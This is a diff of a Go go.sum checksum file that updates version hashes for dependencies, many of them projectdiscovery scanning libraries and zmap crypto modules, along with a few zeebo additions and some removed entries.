github.com/klauspost/compress v1.16.7 h1:2mk3MPGNzKyxErAw8YaohYh69+pa4sIQSC0fPGCFR9I=
|
||||
github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
|
||||
github.com/klauspost/cpuid/v2 v2.1.1 h1:t0wUqjowdm8ezddV5k0tLWVklVuvLJpoHeb4WBdydm0=
|
||||
github.com/klauspost/cpuid/v2 v2.1.1/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
|
||||
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
|
||||
github.com/klauspost/cpuid/v2 v2.2.5/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
|
||||
@ -353,8 +352,8 @@ github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mholt/acmez v1.0.4 h1:N3cE4Pek+dSolbsofIkAYz6H1d3pE+2G0os7QHslf80=
|
||||
github.com/mholt/acmez v1.0.4/go.mod h1:qFGLZ4u+ehWINeJZjzPlsnjJBCPAADWTcIqE/7DAYQY=
|
||||
github.com/mholt/acmez v1.2.0 h1:1hhLxSgY5FvH5HCnGUuwbKY2VQVo8IU7rxXKSnZ7F30=
|
||||
github.com/mholt/acmez v1.2.0/go.mod h1:VT9YwH1xgNX1kmYY89gY8xPJC84BFAisjo8Egigt4kE=
|
||||
github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU=
|
||||
github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU=
|
||||
github.com/microcosm-cc/bluemonday v1.0.21/go.mod h1:ytNkv4RrDrLJ2pqlsSI46O6IVXmZOBBD4SaJyDwwTkM=
|
||||
@ -416,26 +415,28 @@ github.com/projectdiscovery/cdncheck v1.0.9 h1:BS15gzj9gb5AVSKqTDzPamfSgStu7nJQO
|
||||
github.com/projectdiscovery/cdncheck v1.0.9/go.mod h1:18SSl1w7rMj53CGeRIZTbDoa286a6xZIxGbaiEo4Fxs=
|
||||
github.com/projectdiscovery/clistats v0.0.19 h1:SA/qRHbmS9VEbVEPzX/ka01hZDYATL9ZjAnDatybhLw=
|
||||
github.com/projectdiscovery/clistats v0.0.19/go.mod h1:NQDAW/O7cK9xBIgk46kJjwGRkjSg5JkB8E4DvuxXr+c=
|
||||
github.com/projectdiscovery/dsl v0.0.16 h1:ECymBWfB6L6M/y0X6fa+mwg2l0nCSUkfoJkesjGCYJ4=
|
||||
github.com/projectdiscovery/dsl v0.0.16/go.mod h1:OiVbde6xGMM4NXnf3DUJIEqdwWppPADBSPMrxDHwRCU=
|
||||
github.com/projectdiscovery/fastdialer v0.0.36 h1:Ac/CRLryJB2mA8erDwAHoCJGFvjCDIPUznxWl9kJPW8=
|
||||
github.com/projectdiscovery/fastdialer v0.0.36/go.mod h1:jxX9iQJdTwlD6u0Q9Dj9/AmatHPW2GRl3V6XTAvKtHY=
|
||||
github.com/projectdiscovery/dsl v0.0.21 h1:usf8J/JmhYQNm0r3qehnLM9qb5ZCPw47d6VyhrJxuxo=
|
||||
github.com/projectdiscovery/dsl v0.0.21/go.mod h1:0X21hFJdxUtn9sy6JyBNo0yeC6yi+NMGGyeMqdL7e6Y=
|
||||
github.com/projectdiscovery/fastdialer v0.0.37 h1:GEn0VYD/Q+KWiUlQDPP5stvIauN8+gE/eooPzrwidic=
|
||||
github.com/projectdiscovery/fastdialer v0.0.37/go.mod h1:e4Rg9mQ5mNCDFV37njgGCognM0PdLq5f8CcljBqTkRw=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
|
||||
github.com/projectdiscovery/freeport v0.0.5 h1:jnd3Oqsl4S8n0KuFkE5Hm8WGDP24ITBvmyw5pFTHS8Q=
|
||||
github.com/projectdiscovery/freeport v0.0.5/go.mod h1:PY0bxSJ34HVy67LHIeF3uIutiCSDwOqKD8ruBkdiCwE=
|
||||
github.com/projectdiscovery/goflags v0.1.18 h1:L4nwDBNJcZhbmhI3GhQ1GJwz7xVWFL3BumJ+TIDBi5E=
|
||||
github.com/projectdiscovery/goflags v0.1.18/go.mod h1:cZut0Q98yksNVtM73RPSm22N/eDkAMFT9t6mwu6S5pY=
|
||||
github.com/projectdiscovery/goflags v0.1.20 h1:38JgrMOJWg+7G3GUvZJ5cpblBsOFgftNihFusv57A+4=
|
||||
github.com/projectdiscovery/goflags v0.1.20/go.mod h1:HlJeOmWiMRmjg7PnOMiQkwgLMs88DKgymV1motcxFZw=
|
||||
github.com/projectdiscovery/gologger v1.1.11 h1:8vsz9oJlDT9euw6xlj7F7dZ6RWItVIqVwn4Mr6uzky8=
|
||||
github.com/projectdiscovery/gologger v1.1.11/go.mod h1:UR2bgXl7zraOxYGnUwuO917hifWrwMJ0feKnVqMQkzY=
|
||||
github.com/projectdiscovery/gostruct v0.0.1 h1:1KvR6Pn4mDbQqoLEQzhRfHpbreLno2R9xqRCCt5tgmU=
|
||||
github.com/projectdiscovery/gostruct v0.0.1/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
|
||||
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6 h1:M74WAoZ99q/LJPHC8aIWIt8+FLh699KqLm2CUSHoytA=
|
||||
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6/go.mod h1:jCpXNvLUCPMzm5AhJv8wtnUt/7rz0TY2SsqvKQ8tn2E=
|
||||
github.com/projectdiscovery/hmap v0.0.15 h1:iTRXV94bNIuR5obYBxOhvs3yEYXdNdJJnrXnxv4uLHc=
|
||||
github.com/projectdiscovery/hmap v0.0.15/go.mod h1:oybodscUwBbL4GnhBPPTemazPXyMErqL+dE+0ZtJ6lg=
|
||||
github.com/projectdiscovery/hmap v0.0.18 h1:L9+55rpXYXdPvTWBlXPsXM2xtivZa+CzRz6z3nfZyX8=
|
||||
github.com/projectdiscovery/hmap v0.0.18/go.mod h1:kTyoFd6dyhIkBRtaLOqpVZeVLBf94FFhiLFIu+Z0g/8=
|
||||
github.com/projectdiscovery/httpx v1.3.4 h1:1tCP7YRngCDi2a8PvvcYqmpR1H9X7Qgn89uazKL65eg=
|
||||
github.com/projectdiscovery/httpx v1.3.4/go.mod h1:5JlNJcEHPF9ByFFNEcaXEAs8yZYsUC6E9Q3VGfDpPeY=
|
||||
github.com/projectdiscovery/interactsh v1.1.4 h1:1qVxJ14aG/X7TLJoK5AHnaX6I7hnbPp5R2ql1bSYzqI=
|
||||
github.com/projectdiscovery/interactsh v1.1.4/go.mod h1:rM8IEm6AAm68fWWExzBHjhBWfRhFYzR9gY5emOFiZCY=
|
||||
github.com/projectdiscovery/interactsh v1.1.6 h1:Jm09jXtV/3zPWIkf1+KpbPR6TnjXI/4SJQE2tMvVZQ8=
|
||||
github.com/projectdiscovery/interactsh v1.1.6/go.mod h1:mJm+f7qfxgtiCJ+FclViaw5oqNMCkuMu8l+MjxHDmY0=
|
||||
github.com/projectdiscovery/mapcidr v1.1.2 h1:Mmq/nPqvVc7fjvH/kJVK0IBOny/LrJIxZ4tQsLPCrsA=
|
||||
github.com/projectdiscovery/mapcidr v1.1.2/go.mod h1:Aoq0x/wJl6KDbtQ8OcPkjIDCqx2iEyx5ty1nzso8wXM=
|
||||
github.com/projectdiscovery/networkpolicy v0.0.6 h1:yDvm0XCrS9HeemRrBS+J+22surzVczM94W5nHiOy/1o=
|
||||
@ -448,8 +449,8 @@ github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gB
|
||||
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg=
|
||||
github.com/projectdiscovery/retryabledns v1.0.35 h1:lPX8f7exDaiNJc/4Rc44xQfFK9BpA8ZLtpQ+te2ymLU=
|
||||
github.com/projectdiscovery/retryabledns v1.0.35/go.mod h1:V4nRoHJzK2UmlGgKMRduLBkgNNMXJXmJchB5Wui8s4c=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.24 h1:1In7vIUnNvEdHhnA5KmUVf+D+tVZgITaJUZxFYgKCdo=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.24/go.mod h1:S2KiViUrjvRua/mifKEj+6Gs8TJjhFsrZwOXKJAZzSA=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.26 h1:eZYNRRvj7lv05+XrsQU61o1sYTcPwKbmSfiOJfUOArg=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.26/go.mod h1:lCvCUZs1MK5gLi2yUT6Lw/ciVj8Wr2SnNeIJGXxWKHo=
|
||||
github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us=
|
||||
github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ=
|
||||
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
|
||||
@ -457,16 +458,16 @@ github.com/projectdiscovery/tlsx v1.1.4 h1:jXRvichO/ZfhYERch1CbNS1PRbS2KgSBj7JoW
|
||||
github.com/projectdiscovery/tlsx v1.1.4/go.mod h1:crzMlxOokVQDwGVm51JPZi1ZAgzxhNl1KVRmbff6pkI=
|
||||
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1 h1:Pu6LvDqn+iSlhCDKKWm1ItPc++kqqlU8OntZeB/Prak=
|
||||
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1/go.mod h1:Drl/CWD392mKtdXJhCBPlMkM0I6671pqedFphcnK5f8=
|
||||
github.com/projectdiscovery/utils v0.0.51 h1:WZV8kP4VW/I1ZkXDjyoudhhfVVHpAKKnW+Re0LVNMbc=
|
||||
github.com/projectdiscovery/utils v0.0.51/go.mod h1:WhzbWSyGkTDn4Jvw+7jM2yP675/RARegNjoA6S7zYcc=
|
||||
github.com/projectdiscovery/utils v0.0.54 h1:qwTIalrK8pKYaxFObdeSfCtwDmVCN9qswc8+7jIpnBM=
|
||||
github.com/projectdiscovery/utils v0.0.54/go.mod h1:WhzbWSyGkTDn4Jvw+7jM2yP675/RARegNjoA6S7zYcc=
|
||||
github.com/projectdiscovery/wappalyzergo v0.0.107 h1:B8gzJpAh08f1o+OiDunHAfKtqXiDnFCc7Rj1qKp+DB8=
|
||||
github.com/projectdiscovery/wappalyzergo v0.0.107/go.mod h1:4Z3DKhi75zIPMuA+qSDDWxZvnhL4qTLmDx4dxNMu7MA=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4 h1:eZoESapnMw6WAHiVgRwNqvbJEfNHEH148uthhFbG5jE=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4/go.mod h1:8PIPRcUD55UbtQdcfFR1hpIGRWG0P7alClXNGt1TBik=
|
||||
github.com/quic-go/quic-go v0.37.0 h1:wf/Ym2yeWi98oQn4ahiBSqdnaXVxNQGj2oBQFgiVChc=
|
||||
github.com/quic-go/quic-go v0.37.0/go.mod h1:XtCUOCALTTWbPyd0IxFfHf6h0sEMubRFvEYHl3QxKw8=
|
||||
github.com/refraction-networking/utls v1.4.2 h1:7N+928mSM1pEyAJb8x2Y1FbEwTIftGwn2IFykosSzwc=
|
||||
github.com/refraction-networking/utls v1.4.2/go.mod h1:JkUIj+Pc8eyFB0z+A4RJRZmoT43ajjFZWVMXuZQ8BEQ=
|
||||
github.com/quic-go/quic-go v0.38.1 h1:M36YWA5dEhEeT+slOu/SwMEucbYd0YFidxG3KlGPZaE=
|
||||
github.com/quic-go/quic-go v0.38.1/go.mod h1:ijnZM7JsFIkp4cRyjxJNIzdSfCLmUMg9wdyhGmg+SN4=
|
||||
github.com/refraction-networking/utls v1.5.2 h1:l6diiLbEoRqdQ+/osPDO0z0lTc8O8VZV+p82N+Hi+ws=
|
||||
github.com/refraction-networking/utls v1.5.2/go.mod h1:SPuDbBmgLGp8s+HLNc83FuavwZCFoMmExj+ltUHiHUw=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=
|
||||
github.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
@ -479,8 +480,8 @@ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
|
||||
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA=
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
|
||||
github.com/sashabaranov/go-openai v1.14.1 h1:jqfkdj8XHnBF84oi2aNtT8Ktp3EJ0MfuVjvcMkfI0LA=
|
||||
github.com/sashabaranov/go-openai v1.14.1/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg=
|
||||
github.com/sashabaranov/go-openai v1.14.2 h1:5DPTtR9JBjKPJS008/A409I5ntFhUPPGCmaAihcPRyo=
|
||||
github.com/sashabaranov/go-openai v1.14.2/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg=
|
||||
github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c=
|
||||
github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
|
||||
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
|
||||
@ -533,8 +534,8 @@ github.com/tidwall/btree v1.6.0/go.mod h1:twD9XRA5jj9VUQGELzDO4HPQTNJsoWWfYEL+EU
|
||||
github.com/tidwall/buntdb v1.3.0 h1:gdhWO+/YwoB2qZMeAU9JcWWsHSYU3OvcieYgFRS0zwA=
|
||||
github.com/tidwall/buntdb v1.3.0/go.mod h1:lZZrZUWzlyDJKlLQ6DKAy53LnG7m5kHyrEHvvcDmBpU=
|
||||
github.com/tidwall/gjson v1.12.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM=
|
||||
github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/gjson v1.16.0 h1:SyXa+dsSPpUlcwEDuKuEBJEz5vzTvOea+9rjyYodQFg=
|
||||
github.com/tidwall/gjson v1.16.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
|
||||
github.com/tidwall/grect v0.1.4 h1:dA3oIgNgWdSspFzn1kS4S/RDpZFLrIxAZOdJKjYapOg=
|
||||
github.com/tidwall/grect v0.1.4/go.mod h1:9FBsaYRaR0Tcy4UwefBX/UDcDcDy9V5jUcxHzv2jd5Q=
|
||||
github.com/tidwall/lotsa v1.0.2 h1:dNVBH5MErdaQ/xd9s769R31/n2dXavsQ0Yf4TMEHHw8=
|
||||
@ -566,8 +567,8 @@ github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+
|
||||
github.com/valyala/fasttemplate v1.2.2 h1:lxLXG0uE3Qnshl9QyaK6XJxMXlQZELvChBOCmQD0Loo=
|
||||
github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ=
|
||||
github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
|
||||
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db h1:/WcxBne+5CbtbgWd/sV2wbravmr4sT7y52ifQaCgoLs=
|
||||
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db/go.mod h1:aiQaH1XpzIfgrJq3S1iw7w+3EDbRP7mF5fmwUhWyRUs=
|
||||
github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222 h1:h2JizvZl9aIj6za9S5AyrkU+OzIS4CetQthH/ejO+lg=
|
||||
github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222/go.mod h1:s41lQh6dIsDWIC1OWh7ChWJXLH0zkJ9KHZVqA7vHyuQ=
|
||||
github.com/xanzy/go-gitlab v0.84.0 h1:PdpCaskQSgcVDsx21c6ikf8Rfyo7SNtFAJwP9PrbCFE=
|
||||
github.com/xanzy/go-gitlab v0.84.0/go.mod h1:5ryv+MnpZStBH8I/77HuQBsMbBGANtVpLWC15qOjWAw=
|
||||
github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4=
|
||||
@ -592,7 +593,6 @@ github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3R
|
||||
github.com/ysmood/leakless v0.8.0 h1:BzLrVoiwxikpgEQR0Lk8NyBN5Cit2b1z+u0mgL4ZJak=
|
||||
github.com/ysmood/leakless v0.8.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/yuin/goldmark v1.5.2/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
github.com/yuin/goldmark v1.5.4 h1:2uY/xC0roWy8IBEGLgB1ywIoEJFGmRrX21YQcvGZzjU=
|
||||
@ -601,6 +601,12 @@ github.com/yuin/goldmark-emoji v1.0.1 h1:ctuWEyzGBwiucEqxzwe0SOYDXPAucOrE9NQC18W
|
||||
github.com/yuin/goldmark-emoji v1.0.1/go.mod h1:2w1E6FEWLcDQkoTE+7HU6QF1F6SLlNGjRIBbIZQFqkQ=
|
||||
github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw=
|
||||
github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY=
|
||||
github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0=
|
||||
github.com/zeebo/blake3 v0.2.3 h1:TFoLXsjeXqRNFxSbk35Dk4YtszE/MQQGK10BH4ptoTg=
|
||||
github.com/zeebo/blake3 v0.2.3/go.mod h1:mjJjZpnsyIVtVgTOSpJ9vmRE4wgDeyt2HU3qXvvKCaQ=
|
||||
github.com/zeebo/pcg v1.0.1 h1:lyqfGeWiv4ahac6ttHs+I5hwtH/+1mrhlCtVNQM2kHo=
|
||||
github.com/zeebo/pcg v1.0.1/go.mod h1:09F0S9iiKrwn9rlI5yjLkmrug154/YRW6KnnXVDM/l4=
|
||||
github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
|
||||
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30=
|
||||
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
|
||||
@ -608,24 +614,18 @@ github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54t
|
||||
github.com/zmap/zcertificate v0.0.1/go.mod h1:q0dlN54Jm4NVSSuzisusQY0hqDWvu92C+TWveAxiVWk=
|
||||
github.com/zmap/zcrypto v0.0.0-20201128221613-3719af1573cf/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ=
|
||||
github.com/zmap/zcrypto v0.0.0-20201211161100-e54a5822fb7e/go.mod h1:aPM7r+JOkfL+9qSB4KbYjtoEzJqUK50EXkkJabeNJDQ=
|
||||
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 h1:YOQ1vXEwE4Rnj+uQ/3oCuJk5wgVsvUyW+glsndwYuyA=
|
||||
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968/go.mod h1:xIuOvYCZX21S5Z9bK1BMrertTGX/F8hgAPw7ERJRNS0=
|
||||
github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518 h1:O8GHQBxrphDuNhJQdKBHwP3JQUtZUyi3b+jjPYmF7oA=
|
||||
github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518/go.mod h1:Z2SNNuFhO+AAsezbGEHTWeW30hHv5niUYT3fwJ61Nl0=
|
||||
github.com/zmap/zlint/v3 v3.0.0/go.mod h1:paGwFySdHIBEMJ61YjoqT4h7Ge+fdYG4sUQhnTb1lJ8=
|
||||
go.etcd.io/bbolt v1.3.7 h1:j+zJOnnEjF/kyHlDDgGnVL/AIqIJPq8UoB2GSNfkUfQ=
|
||||
go.etcd.io/bbolt v1.3.7/go.mod h1:N9Mkw9X8x5fupy0IKsmuqVtoGDyxsaDlbk4Rd05IAQw=
|
||||
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||
go.uber.org/atomic v1.10.0 h1:9qC72Qh0+3MqyJbAn8YU5xVq1frD8bn3JtD2oXtafVQ=
|
||||
go.uber.org/atomic v1.10.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=
|
||||
go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI=
|
||||
go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ=
|
||||
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
|
||||
go.uber.org/goleak v1.2.0 h1:xqgm/S+aQvhWFTtR0XK3Jvg7z8kGV8P4X14IzwN3Eqk=
|
||||
go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
|
||||
go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
|
||||
go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw=
|
||||
go.uber.org/zap v1.24.0 h1:FiJd5l1UOLj0wCgbSE0rwwXHzEdAZS6hiiSnxJN/D60=
|
||||
go.uber.org/zap v1.24.0/go.mod h1:2kMP+WWQ8aoFoedH3T2sq6iJ2yDWpHbP0f6MQbS9Gkg=
|
||||
goftp.io/server/v2 v2.0.0 h1:FF8JKXXKDxAeO1uXEZz7G+IZwCDhl19dpVIlDtp3QAg=
|
||||
goftp.io/server/v2 v2.0.0/go.mod h1:7+H/EIq7tXdfo1Muu5p+l3oQ6rYkDZ8lY7IM5d5kVdQ=
|
||||
go.uber.org/zap v1.25.0 h1:4Hvk6GtkucQ790dqmj7l1eEnRdKm3k3ZUrUMS2d5+5c=
|
||||
go.uber.org/zap v1.25.0/go.mod h1:JIAUzQIH94IC4fOJQm7gMmBJP5k7wQfdcnYdPoEXJYk=
|
||||
goftp.io/server/v2 v2.0.1 h1:H+9UbCX2N206ePDSVNCjBftOKOgil6kQ5RAQNx5hJwE=
|
||||
goftp.io/server/v2 v2.0.1/go.mod h1:7+H/EIq7tXdfo1Muu5p+l3oQ6rYkDZ8lY7IM5d5kVdQ=
|
||||
golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
@ -637,19 +637,16 @@ golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20201124201722-c8d3bf9c5392/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20201208171446-5f87f3452ae9/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
|
||||
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
|
||||
golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk=
|
||||
golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw=
|
||||
